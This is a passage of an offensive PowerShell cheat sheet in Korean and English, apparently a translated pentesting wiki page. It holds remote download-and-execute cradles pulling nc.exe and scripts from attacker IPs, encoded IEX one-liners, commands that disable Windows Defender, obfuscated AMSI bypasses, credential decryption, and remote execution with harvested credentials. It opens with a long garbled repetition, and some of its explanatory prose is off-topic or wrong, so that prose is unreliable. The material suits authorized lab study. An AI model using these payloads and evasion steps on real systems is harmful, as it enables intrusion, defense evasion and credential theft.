<AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <Authentication
```powershell
Invoke-WebRequest "http://10.10.14.2:80/taskkill.exe" -OutFile "taskkill.exe"

Wget

Wget은 커맨드 라인에서 사용할 수 있는 무료 오픈 소스 도구로, 웹 서버에서 파일을 다운로드하는 데 사용됩니다. Wget은 다양한 프로토콜을 지원하며, HTTP, HTTPS, FTP 등을 통해 파일을 다운로드할 수 있습니다.

Wget을 사용하면 웹 서버에서 파일을 다운로드하는 것이 간단하고 효율적입니다. 다운로드할 파일의 URL을 지정하면 Wget이 해당 파일을 다운로드하고 저장할 수 있습니다. 또한, Wget은 다운로드 중에 일시 중지하거나 재개할 수 있는 기능도 제공합니다.

Wget은 다양한 운영 체제에서 사용할 수 있으며, Windows, Linux, macOS 등을 지원합니다. 이 도구는 펜테스터들에게 유용한 기능을 제공하며, 웹 서버의 취약점을 분석하거나 웹 사이트의 콘텐츠를 수집하는 데 사용될 수 있습니다.

Wget은 강력하고 다양한 기능을 제공하는 도구이므로, 펜테스터들은 이를 잘 활용하여 웹 서버의 취약점을 찾고 분석할 수 있습니다.

wget "http://10.10.14.2/nc.bat.exe" -OutFile "C:\ProgramData\unifivideo\taskkill.exe"

BitsTransfer

BitsTransfer는 PowerShell에서 파일 전송을 수행하는 데 사용되는 기능입니다. 이 기능을 사용하면 원격 서버로부터 파일을 다운로드하거나 원격 서버로 파일을 업로드할 수 있습니다. BitsTransfer는 대용량 파일의 안정적인 전송을 지원하며, 네트워크 연결이 불안정한 경우에도 중단된 전송을 자동으로 재개할 수 있습니다.

BitsTransfer를 사용하여 파일을 다운로드하려면 Start-BitsTransfer cmdlet을 사용하고, 파일을 업로드하려면 Start-BitsTransfer cmdlet을 사용합니다. 이 cmdlet은 다운로드 또는 업로드할 파일의 경로와 대상 경로를 지정하는 매개변수를 사용합니다.

예를 들어, 다음 명령은 원격 서버에서 파일을 다운로드하여 로컬 컴퓨터에 저장합니다.

Start-BitsTransfer -Source http://example.com/file.txt -Destination C:\Downloads\file.txt

BitsTransfer는 PowerShell 2.0 이상에서 사용할 수 있으며, Windows 운영 체제에 기본으로 설치되어 있습니다. 따라서 추가 설치가 필요하지 않습니다.

Import-Module BitsTransfer
Start-BitsTransfer -Source $url -Destination $output
# OR
Start-BitsTransfer -Source $url -Destination $output -Asynchronous

Base64 Kali & EncodedCommand

Kali Linux에서 PowerShell을 사용하여 명령을 실행할 때, EncodedCommand를 사용하여 명령을 Base64로 인코딩할 수 있습니다. 이를 통해 명령을 실행하는 동안 인터페이스에서 직접 명령을 입력하지 않고도 명령을 실행할 수 있습니다.

다음은 EncodedCommand를 사용하여 Base64로 인코딩된 명령을 실행하는 방법입니다.

  1. 명령을 Base64로 인코딩합니다. 다음은 이를 수행하는 PowerShell 명령입니다.

$command = "실행할 명령"
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
$encodedCommand = [Convert]::ToBase64String($bytes)
  1. 인코딩된 명령을 실행합니다. 다음은 이를 수행하는 PowerShell 명령입니다.

powershell.exe -EncodedCommand 인코딩된_명령

이렇게 하면 인코딩된 명령이 실행되며, 결과를 확인할 수 있습니다. 이를 통해 명령을 실행하는 동안 인터페이스에서 직접 명령을 입력하지 않고도 명령을 실행할 수 있습니다.

kali> echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/9002.ps1')" | iconv --to-code UTF-16LE | base64 -w0
PS> powershell -EncodedCommand <Base64>

WinRM 활성화 (원격 PS)

enable-psremoting -force #This enables winrm

# Change NetWorkConnection Category to Private
#Requires -RunasAdministrator

Get-NetConnectionProfile |
Where{ $_.NetWorkCategory -ne 'Private'} |
ForEach {
$_
$_|Set-NetConnectionProfile -NetWorkCategory Private -Confirm
}

Defender 비활성화

# Check status
Get-MpComputerStatus
Get-MpPreference | select Exclusion* | fl #Check exclusions
# Disable
Set-MpPreference -DisableRealtimeMonitoring $true
#To completely disable Windows Defender on a computer, use the command:
New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" -Name DisableAntiSpyware -Value 1 -PropertyType DWORD -Force
# Set exclusion path
Set-MpPreference -ExclusionPath (pwd) -disablerealtimemonitoring
Add-MpPreference -ExclusionPath (pwd)

# Check exclusions configured via GPO
Parse-PolFile .\Registry.pol

KeyName : Software\Policies\Microsoft\Windows Defender\Exclusions
ValueName : Exclusions_Paths
ValueType : REG_DWORD
ValueLength : 4
ValueData : 1

KeyName : Software\Policies\Microsoft\Windows Defender\Exclusions\Paths
ValueName : C:\Windows\Temp
ValueType : REG_SZ
ValueLength : 4
ValueData : 0

AMSI 우회

**amsi.dll**은 로드되어 있으며, 어떤 애플리케이션과도 상호 작용하기 위해 필요한 내보내기를 가지고 있습니다. 그리고 그것은 프로세스의 메모리 공간에 로드되어 있으므로 제어하는 프로세스에서 메모리의 명령을 덮어쓰는 것으로 동작을 변경할 수 있습니다. 이로 인해 아무것도 감지하지 못하도록 만들 수 있습니다.

따라서, AMSI 우회의 목표는 메모리의 해당 DLL의 명령을 덮어쓰어 감지를 무력화하는 것입니다.

AMSI 우회 생성기 웹 페이지: https://amsi.fail/

# A Method
[Ref].Assembly.GetType('System.Management.Automation.Ams'+'iUtils').GetField('am'+'siInitFailed','NonPu'+'blic,Static').SetValue($null,$true)

# Another: from https://github.com/tihanyin/PSSW100AVB/blob/main/AMSI_bypass_2021_09.ps1
$A="5492868772801748688168747280728187173688878280688776828"
$B="1173680867656877679866880867644817687416876797271"
[Ref].Assembly.GetType([string](0..37|%{[char][int](29+($A+$B).
substring(($_*2),2))})-replace " " ).
GetField([string](38..51|%{[char][int](29+($A+$B).
substring(($_*2),2))})-replace " ",'NonPublic,Static').
SetValue($null,$true)

# Another Method: from https://github.com/HernanRodriguez1/Bypass-AMSI
[Ref].Assembly.GetType($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAbQBzAGkAVQB0AGkAbABzAA==')))).GetField($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA=='))),$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('TgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwA=')))).SetValue($null,$true)

# Another Method: from https://github.com/HernanRodriguez1/Bypass-AMSI
&( $SHELLid[1]+$SHELlId[13]+'X') (NeW-OBJEct sYStEm.iO.coMPrESSIOn.defLAtEstReam( [iO.meMorYStReAm] [cOnvErt]::froMBaSE64StRINg( 'rVHRasJAEHzvdwhGkBAhLUXwYU7i2aKFq4mQBh8Sc6bBM5HkYmq/vruQfkF7L3s7s8vM3CXv+nRw0bb6kpm7K7UN71ftjJwk1F/WDapjnZdVcZjPo6qku+aRnW0Ic5JlXd10Y4lcNfVFpK1+8gduHPXiEestcggD6WFTiDfIAFkhPiGP+FDCQkbce1j6UErMsFbIesYD3rtCPhOPDgHtKfENecZe0TzVDNRjsRhP6LCpValN/g/GYzZGxlMlXiF9rh6CGISToZ6Nn3+Fp3+XCwtxY5kIlF++cC6S2WIDEfJ7xEPeuMeQdaftPjUdfVLVGTMd2abTk4cf'), [sysTEm.iO.cOmpResSioN.COMprEssiOnMOde]::decOMPRESs ) | foreAch{NeW-OBJEct iO.STREaMREadER( $_ , [teXt.ENCoDiNg]::aScii )}).REadtoenD( )

# Another Method: from https://github.com/HernanRodriguez1/Bypass-AMSI
${2}=[Ref].Assembly.GetType('Sy'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('cwB0AGUA')))+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bQAuAE0A')))+'an'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBnAGUA')))+'m'+'en'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('dAAuAEEAdQA=')))+'t'+'om'+'at'+'io'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgAuAEEA')))+'ms'+'i'+'U'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('dABpAGwA')))+'s')
${1}=${2}.GetField('am'+'s'+'iI'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgBpAHQA')))+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('RgBhAGkAbAA=')))+'ed','No'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgBQAHUA')))+'bl'+'i'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YwAsAFMA')))+'ta'+'ti'+'c')
${1}.SetValue($null,$true)

# Another Method
$a = 'System.Management.Automation.A';$b = 'ms';$u = 'Utils'
$assembly = [Ref].Assembly.GetType(('{0}{1}i{2}' -f $a,$b,$u))
$field = $assembly.GetField(('a{0}iInitFailed' -f $b),'NonPublic,Static')
$field.SetValue($null,$true)

# AMSI Bypass in python
https://fluidattacks.com/blog/amsi-bypass-python/

# Testing for Amsi Bypass:
https://github.com/rasta-mouse/AmsiScanBufferBypass

# Amsi-Bypass-Powershell
https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell

https://blog.f-secure.com/hunting-for-amsi-bypasses/
https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/
https://github.com/cobbr/PSAmsi/wiki/Conducting-AMSI-Scans
https://slaeryan.github.io/posts/falcon-zero-alpha.html

AMSI 우회 2 - 관리되는 API 호출 후킹

이 게시물에서 자세한 정보와 코드를 확인하세요. 소개:

이 새로운 기술은 .NET 메서드의 API 호출 후킹에 의존합니다. .NET 메서드는 메모리에 네이티브 기계 명령으로 컴파일되어 네이티브 메서드와 매우 유사한 모습을 갖게 됩니다. 이러한 컴파일된 메서드는 프로그램의 제어 흐름을 변경하기 위해 후킹될 수 있습니다.

.NET 메서드의 API 호출 후킹을 수행하는 단계는 다음과 같습니다:

  1. 후킹할 대상 메서드 식별

  2. 대상과 동일한 함수 프로토 타입을 갖는 메서드 정의

  3. Reflection을 사용하여 메서드 찾기

  4. 각 메서드가 컴파일되었는지 확인

  5. 메모리에서 각 메서드의 위치 찾기

  6. 대상 메서드를 악성 메서드를 가리키는 명령으로 덮어쓰기

AMSI 우회 3 - SeDebug 권한

이 가이드 및 코드를 따라하면 프로세스를 디버그할 충분한 권한이 있으면 powershell.exe 프로세스를 생성하여 디버그하고 amsi.dll이 로드될 때 모니터링하고 비활성화할 수 있습니다.

AMSI 우회 - 추가 자료

PS-History

Get-Content C:\Users\<USERNAME>\AppData\Roaming\Microsoft\Windows\Powershell\PSReadline\ConsoleHost_history.txt

최신 파일 찾기

옵션: CreationTime, CreationTimeUtc, LastAccessTime, LastAccessTimeUtc, LastWriteTime, LastWriteTimeUtc

# LastAccessTime:
(gci C:\ -r | sort -Descending LastAccessTime | select -first 100) | Select-Object -Property LastAccessTime,FullName

# LastWriteTime:
(gci C:\ -r | sort -Descending LastWriteTime | select -first 100) | Select-Object -Property LastWriteTime,FullName

권한 가져오기

To get the permissions of a file or directory in PowerShell, you can use the Get-Acl cmdlet. This cmdlet retrieves the access control list (ACL) for the specified object.

Get-Acl -Path C:\path\to\file.txt

This command will display the permissions associated with the file.txt file, including the user or group that has each permission.

You can also use the Get-NTFSAccess function from the PowerView module to get a more detailed view of the permissions.

Get-NTFSAccess -Path C:\path\to\file.txt

This command will provide a more granular breakdown of the permissions, including the access rights, inheritance settings, and the object type.

By understanding the permissions associated with a file or directory, you can assess the level of access and potential vulnerabilities in a system.

Get-Acl -Path "C:\Program Files\Vuln Services" | fl

운영체제 버전 및 HotFixes

To determine the version of the operating system and the installed HotFixes, you can use the following PowerShell commands:

# Get the operating system version
(Get-WmiObject -Class Win32_OperatingSystem).Caption

# Get the installed HotFixes
Get-HotFix

The first command retrieves the version of the operating system using the Win32_OperatingSystem class. The second command lists all the installed HotFixes on the system using the Get-HotFix cmdlet.

[System.Environment]::OSVersion.Version #Current OS version
Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches
Get-Hotfix -description "Security update" #List only "Security Update" patches

환경

The following techniques and commands are applicable to Windows operating systems. It is recommended to have a basic understanding of PowerShell before proceeding with the examples provided in this guide.

다음 기술과 명령은 Windows 운영 체제에 적용됩니다. 이 가이드에서 제공하는 예제를 진행하기 전에 PowerShell에 대한 기본적인 이해를 가지고 있는 것이 좋습니다.

PowerShell Basics

PowerShell is a powerful scripting language and automation framework developed by Microsoft. It provides a command-line interface (CLI) that allows users to interact with the operating system and perform various tasks.

PowerShell은 Microsoft에서 개발한 강력한 스크립팅 언어 및 자동화 프레임워크입니다. 이는 사용자가 운영 체제와 상호 작용하고 다양한 작업을 수행할 수 있는 명령 줄 인터페이스 (CLI)를 제공합니다.

Running PowerShell

PowerShell can be run in several ways:

  • PowerShell Console: This is the default way to run PowerShell. Simply open the console and start typing commands.

  • PowerShell ISE: The PowerShell Integrated Scripting Environment (ISE) provides a more advanced interface for writing and running PowerShell scripts.

  • PowerShell Command Prompt: The PowerShell command prompt can be accessed by running powershell.exe from the Windows command prompt or by selecting "Windows PowerShell" from the Start menu.

PowerShell은 여러 가지 방법으로 실행할 수 있습니다:

  • PowerShell 콘솔: 이것은 PowerShell을 실행하는 기본적인 방법입니다. 콘솔을 열고 명령을 입력하기만 하면 됩니다.

  • PowerShell ISE: PowerShell 통합 스크립팅 환경 (ISE)은 PowerShell 스크립트를 작성하고 실행하기 위한 더 고급 인터페이스를 제공합니다.

  • PowerShell 명령 프롬프트: PowerShell 명령 프롬프트는 Windows 명령 프롬프트에서 powershell.exe를 실행하거나 시작 메뉴에서 "Windows PowerShell"을 선택하여 액세스할 수 있습니다.

PowerShell Help

PowerShell provides a comprehensive help system that can be accessed using the Get-Help command. This command allows you to search for help topics, get detailed information about specific commands, and learn about PowerShell concepts and features.

PowerShell은 Get-Help 명령을 사용하여 액세스할 수 있는 포괄적인 도움말 시스템을 제공합니다. 이 명령을 사용하면 도움말 주제를 검색하고 특정 명령에 대한 자세한 정보를 얻으며 PowerShell 개념과 기능에 대해 알아볼 수 있습니다.

To get help on a specific command, use the following syntax:

특정 명령에 대한 도움말을 얻으려면 다음 구문을 사용하십시오:

Get-Help <command>

For example, to get help on the Get-Process command, you would run:

예를 들어, Get-Process 명령에 대한 도움말을 얻으려면 다음을 실행합니다:

Get-Help Get-Process

PowerShell Execution Policy

PowerShell has an execution policy that determines whether scripts can be run on a system. The execution policy can be set to one of the following values:

  • Restricted: No scripts are allowed to run. This is the default policy.

  • AllSigned: Only scripts signed by a trusted publisher can run.

  • RemoteSigned: Scripts downloaded from the internet must be signed, but local scripts do not require a signature.

  • Unrestricted: All scripts can run, regardless of their signature.

To check the current execution policy, use the following command:

PowerShell에는 시스템에서 스크립트를 실행할 수 있는지 여부를 결정하는 실행 정책이 있습니다. 실행 정책은 다음 값 중 하나로 설정할 수 있습니다:

  • Restricted: 어떤 스크립트도 실행할 수 없습니다. 이것이 기본 정책입니다.

  • AllSigned: 신뢰할 수 있는 발행자에 의해 서명된 스크립트만 실행할 수 있습니다.

  • RemoteSigned: 인터넷에서 다운로드한 스크립트는 서명되어야 하지만 로컬 스크립트는 서명이 필요하지 않습니다.

  • Unrestricted: 서명 여부에 관계없이 모든 스크립트를 실행할 수 있습니다.

현재 실행 정책을 확인하려면 다음 명령을 사용하십시오:

Get-ExecutionPolicy

To change the execution policy, use the following command:

실행 정책을 변경하려면 다음 명령을 사용하십시오:

Set-ExecutionPolicy <policy>

Replace <policy> with the desired execution policy (e.g., RemoteSigned).

<policy>를 원하는 실행 정책 (예: RemoteSigned)으로 대체하십시오.

Get-ChildItem Env: | ft Key,Value #get all values
$env:UserName @Get UserName value

다른 연결된 드라이브

In addition to the local drive, there may be other drives connected to the system. These drives can be accessed using PowerShell commands. Here are some useful commands to work with connected drives:

Get-PSDrive

The Get-PSDrive command lists all the drives available on the system, including local drives, network drives, and mapped drives.

Get-PSDrive

Get-Volume

The Get-Volume command provides information about the volumes on the system, including drive letters, file systems, and capacities.

Get-Volume

Get-WmiObject

The Get-WmiObject command retrieves information about the logical disks on the system, including drive letters, sizes, and free space.

Get-WmiObject -Class Win32_LogicalDisk

Get-Partition

The Get-Partition command displays information about the partitions on the system, including drive letters, sizes, and offsets.

Get-Partition

By using these commands, you can gather information about the connected drives on a system, which can be useful for various purposes, such as identifying potential targets for further exploration or exploitation.

Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root

휴지통

The Recycle Bin is a feature in Windows that allows users to temporarily store deleted files and folders. When a file or folder is deleted, it is moved to the Recycle Bin instead of being permanently deleted from the system. This provides a safety net in case the user accidentally deletes something and wants to restore it later.

To access the Recycle Bin, simply double-click on its icon on the desktop. This will open a window displaying all the files and folders that have been deleted. From here, you can select the items you want to restore and click on the "Restore" button to move them back to their original location.

It's important to note that the Recycle Bin has a limited storage capacity. Once it reaches its maximum size, older files will be automatically deleted to make room for new ones. Therefore, it's a good practice to regularly empty the Recycle Bin to free up disk space.

In addition to restoring deleted files, the Recycle Bin also allows users to permanently delete files. To do this, simply select the files you want to delete and click on the "Delete" button. This will bypass the Recycle Bin and permanently remove the selected files from the system.

Overall, the Recycle Bin is a useful feature that helps prevent accidental file deletions and provides a way to recover deleted files if needed.

$shell = New-Object -com shell.application
$rb = $shell.Namespace(10)
$rb.Items()

https://jdhitsolutions.com/blog/powershell/7024/managing-the-recycle-bin-with-powershell/

도메인 Recon

pagePowerView/SharpView

사용자

Get-LocalUser | ft Name,Enabled,Description,LastLogon
Get-ChildItem C:\Users -Force | select Name

Secure String를 평문으로 변환하기

PowerShell에서는 ConvertFrom-SecureString cmdlet을 사용하여 암호화된 문자열을 평문으로 변환할 수 있습니다. 이를 통해 암호화된 비밀번호나 기타 중요한 정보를 안전하게 저장하고 사용할 수 있습니다.

다음은 ConvertFrom-SecureString cmdlet을 사용하여 Secure String을 평문으로 변환하는 방법입니다.

$secureString = ConvertTo-SecureString -String "MySecurePassword" -AsPlainText -Force
$plainText = ConvertFrom-SecureString -SecureString $secureString

위의 예제에서는 ConvertTo-SecureString cmdlet을 사용하여 "MySecurePassword"라는 문자열을 Secure String으로 변환하고, ConvertFrom-SecureString cmdlet을 사용하여 다시 평문으로 변환합니다. 이렇게 변환된 평문은 변수 $plainText에 저장됩니다.

암호화된 문자열을 평문으로 변환할 때는 주의해야 합니다. 변환된 평문은 암호화되지 않은 상태로 저장되므로, 보안에 민감한 정보를 다룰 때에는 적절한 보호 조치를 취해야 합니다.

$pass = "01000000d08c9ddf0115d1118c7a00c04fc297eb01000000e4a07bc7aaeade47925c42c8be5870730000000002000000000003660000c000000010000000d792a6f34a55235c22da98b0c041ce7b0000000004800000a00000001000000065d20f0b4ba5367e53498f0209a3319420000000d4769a161c2794e19fcefff3e9c763bb3a8790deebf51fc51062843b5d52e40214000000ac62dab09371dc4dbfd763fea92b9d5444748692" | convertto-securestring
$user = "HTB\Tom"
$cred = New-Object System.management.Automation.PSCredential($user, $pass)
$cred.GetNetworkCredential() | fl

UserName       : Tom
Password       : 1ts-mag1c!!!
SecurePassword : System.Security.SecureString
Domain         : HTB

또는 XML에서 직접 파싱하기:

$cred = Import-CliXml -Path cred.xml; $cred.GetNetworkCredential() | Format-List *

UserName       : Tom
Password       : 1ts-mag1c!!!
SecurePassword : System.Security.SecureString
Domain         : HTB

SUDO

SUDO는 리눅스 및 유닉스 시스템에서 사용되는 명령어입니다. 이 명령어는 특정 사용자가 다른 사용자의 권한으로 명령을 실행할 수 있도록 허용합니다. SUDO를 사용하면 특권 계정에 로그인하지 않고도 특정 작업을 수행할 수 있습니다.

SUDO를 사용하는 방법은 다음과 같습니다.

  1. 터미널을 열고 SUDO 명령을 입력합니다.

  2. SUDO로 실행하려는 명령어를 입력합니다.

  3. SUDO 비밀번호를 입력합니다. 이는 현재 사용자의 비밀번호와 다를 수 있습니다.

  4. 명령어가 실행됩니다.

SUDO를 사용할 때 주의해야 할 몇 가지 사항이 있습니다.

  • SUDO 권한은 시스템 관리자에게만 부여되어야 합니다. 일반 사용자에게 SUDO 권한을 부여하면 보안 위험이 발생할 수 있습니다.

  • SUDO 명령을 사용할 때는 신중하게 실행해야 합니다. 잘못된 명령어를 실행하면 시스템에 심각한 문제가 발생할 수 있습니다.

  • SUDO 명령을 사용할 때는 명령어의 옵션과 매개변수를 정확히 이해하고 사용해야 합니다.

SUDO는 시스템 관리 작업을 수행하는 데 유용한 도구입니다. 그러나 신중하게 사용해야 하며, 권한 부여에 대한 엄격한 제어가 필요합니다.

#CREATE A CREDENTIAL OBJECT
$pass = ConvertTo-SecureString '<PASSWORD>' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential("<USERNAME>", $pass)

#For local:
Start-Process -Credential ($cred)  -NoNewWindow powershell "iex (New-Object Net.WebClient).DownloadString('http://10.10.14.11:443/ipst.ps1')"

#For WINRM
#CHECK IF CREDENTIALS ARE WORKING EXECUTING whoami (expected: username of the credentials user)
Invoke-Command -Computer ARKHAM -ScriptBlock { whoami } -Credential $cred
#DOWNLOAD nc.exe
Invoke-Command -Computer ARKHAM -ScriptBlock { IWR -uri 10.10.14.17/nc.exe -outfile nc.exe } -credential $cred

Start-Process powershell -Credential $pp -ArgumentList '-noprofile -command &{Start-Process C:\xyz\nc.bat -verb Runas}'

#Another method
$secpasswd = ConvertTo-SecureString "<password>" -AsPlainText -Force
$mycreds = New-Object System.Management.Automation.PSCredential ("<user>", $secpasswd)
$computer = "<hostname>"

그룹

그룹은 윈도우 운영 체제에서 사용자 계정을 논리적으로 그룹화하는 데 사용되는 개념입니다. 그룹은 사용자에게 특정 권한과 액세스를 부여하는 데 사용됩니다. 그룹은 일반적으로 관리 목적으로 사용되며, 사용자를 쉽게 관리하고 권한을 할당할 수 있도록 도와줍니다.

내장 그룹

윈도우 운영 체제에는 기본적으로 생성되는 몇 가지 내장 그룹이 있습니다. 이러한 그룹은 시스템의 기능과 보안을 유지하는 데 중요한 역할을 합니다. 일반적으로 이러한 그룹에는 다음과 같은 이름이 있습니다.

  • Administrators: 이 그룹은 시스템 관리자에게 모든 권한을 부여합니다.

  • Users: 이 그룹은 일반 사용자에게 일반적인 권한을 부여합니다.

  • Guests: 이 그룹은 일시적인 사용자에게 제한된 액세스를 부여합니다.

  • Power Users: 이 그룹은 일부 관리 권한을 가진 사용자에게 부여됩니다.

사용자 그룹 확인

PowerShell을 사용하여 현재 시스템에서 사용 가능한 그룹을 확인할 수 있습니다. 다음 명령을 실행하십시오.

Get-LocalGroup

이 명령은 현재 시스템에서 사용 가능한 모든 그룹을 나열합니다.

그룹 멤버십 확인

PowerShell을 사용하여 특정 그룹의 멤버십을 확인할 수 있습니다. 다음 명령을 실행하십시오.

Get-LocalGroupMember -Group "그룹 이름"

위 명령에서 "그룹 이름"을 확인하려는 그룹의 실제 이름으로 바꾸십시오. 이 명령은 해당 그룹의 모든 멤버를 나열합니다.

그룹 생성

PowerShell을 사용하여 새 그룹을 생성할 수 있습니다. 다음 명령을 실행하십시오.

New-LocalGroup -Name "새 그룹 이름"

위 명령에서 "새 그룹 이름"을 생성할 그룹의 원하는 이름으로 바꾸십시오. 이 명령은 새 그룹을 생성합니다.

그룹에 멤버 추가

PowerShell을 사용하여 그룹에 멤버를 추가할 수 있습니다. 다음 명령을 실행하십시오.

Add-LocalGroupMember -Group "그룹 이름" -Member "멤버 이름"

위 명령에서 "그룹 이름"을 멤버를 추가할 그룹의 실제 이름으로, "멤버 이름"을 추가할 멤버의 실제 이름으로 바꾸십시오. 이 명령은 지정된 그룹에 멤버를 추가합니다.

그룹에서 멤버 제거

PowerShell을 사용하여 그룹에서 멤버를 제거할 수 있습니다. 다음 명령을 실행하십시오.

Remove-LocalGroupMember -Group "그룹 이름" -Member "멤버 이름"

위 명령에서 "그룹 이름"을 멤버를 제거할 그룹의 실제 이름으로, "멤버 이름"을 제거할 멤버의 실제 이름으로 바꾸십시오. 이 명령은 지정된 그룹에서 멤버를 제거합니다.

Get-LocalGroup | ft Name #All groups
Get-LocalGroupMember Administrators | ft Name, PrincipalSource #Members of Administrators

클립보드

클립보드는 사용자가 컴퓨터에서 복사한 데이터를 임시로 저장하는 공간입니다. 일반적으로 텍스트, 이미지 또는 파일과 같은 다양한 형식의 데이터를 저장할 수 있습니다. 클립보드는 사용자가 복사한 데이터를 다른 애플리케이션으로 붙여넣을 때 사용됩니다.

클립보드에 저장된 데이터는 일반적으로 암호화되지 않으며, 악의적인 사용자가 클립보드를 감시하거나 조작할 수 있습니다. 따라서 클립보드에 중요한 정보를 저장하는 것은 보안 위험을 초래할 수 있습니다.

클립보드를 안전하게 사용하기 위해 다음과 같은 조치를 취할 수 있습니다:

  • 중요한 정보를 클립보드에 복사하지 않습니다.

  • 클립보드에 저장된 데이터를 사용한 후에는 즉시 삭제합니다.

  • 클립보드를 감시하는 악성 소프트웨어를 방지하기 위해 안티바이러스 및 방화벽 소프트웨어를 사용합니다.

  • 클립보드를 사용하는 애플리케이션을 신뢰할 수 있는 소스에서만 다운로드하고 사용합니다.

클립보드는 편리한 기능이지만, 보안에 민감한 정보를 다룰 때는 주의해야 합니다.

Get-Clipboard

프로세스

프로세스는 실행 중인 프로그램을 나타냅니다. 윈도우 운영 체제에서는 여러 가지 방법으로 프로세스를 관리할 수 있습니다. PowerShell을 사용하여 프로세스를 조작하고 모니터링하는 것이 가능합니다.

프로세스 목록 확인

현재 실행 중인 모든 프로세스를 확인하려면 다음 명령을 사용합니다.

Get-Process

특정 프로세스 확인

특정 프로세스에 대한 자세한 정보를 확인하려면 Get-Process 명령에 -Name 또는 -Id 매개변수를 사용합니다. 예를 들어, notepad 프로세스에 대한 정보를 확인하려면 다음 명령을 사용합니다.

Get-Process -Name notepad

프로세스 종료

특정 프로세스를 종료하려면 Stop-Process 명령을 사용합니다. 예를 들어, notepad 프로세스를 종료하려면 다음 명령을 사용합니다.

Stop-Process -Name notepad

프로세스 실행

새로운 프로세스를 실행하려면 Start-Process 명령을 사용합니다. 예를 들어, calc 프로세스를 실행하려면 다음 명령을 사용합니다.

Start-Process -FilePath calc.exe

프로세스 우선순위 변경

프로세스의 우선순위를 변경하려면 Set-Process 명령을 사용합니다. 예를 들어, notepad 프로세스의 우선순위를 High로 변경하려면 다음 명령을 사용합니다.

Set-Process -Name notepad -Priority High

프로세스 모니터링

실행 중인 프로세스를 모니터링하려면 Get-Counter 명령을 사용합니다. 예를 들어, CPU 사용량을 확인하려면 다음 명령을 사용합니다.

Get-Counter '\Process(*)\% Processor Time' -Continuous

위 명령은 모든 프로세스의 CPU 사용량을 지속적으로 모니터링합니다.

Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id

서비스

PowerShell Remoting

PowerShell Remoting은 원격 시스템에서 PowerShell 세션을 만들고 제어하는 데 사용되는 강력한 도구입니다. 이를 통해 원격 시스템에서 명령을 실행하고 결과를 가져올 수 있습니다.

원격 시스템에 연결하기

Enter-PSSession -ComputerName <target> -Credential <credentials>

원격 시스템에서 명령 실행하기

Invoke-Command -ComputerName <target> -ScriptBlock { <command> }

원격 레지스트리

PowerShell을 사용하여 원격 시스템의 레지스트리를 조작할 수 있습니다.

원격 레지스트리에 연결하기

$reg = [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey('Registry', '<target>')

레지스트리 키 생성하기

$reg.CreateSubKey('<key>')

레지스트리 값 설정하기

$reg.SetValue('<valueName>', '<value>')

레지스트리 값 삭제하기

$reg.DeleteValue('<valueName>')

원격 서비스 관리

PowerShell을 사용하여 원격 시스템에서 서비스를 관리할 수 있습니다.

원격 서비스 목록 가져오기

Get-Service -ComputerName <target>

원격 서비스 시작하기

Start-Service -ComputerName <target> -Name <serviceName>

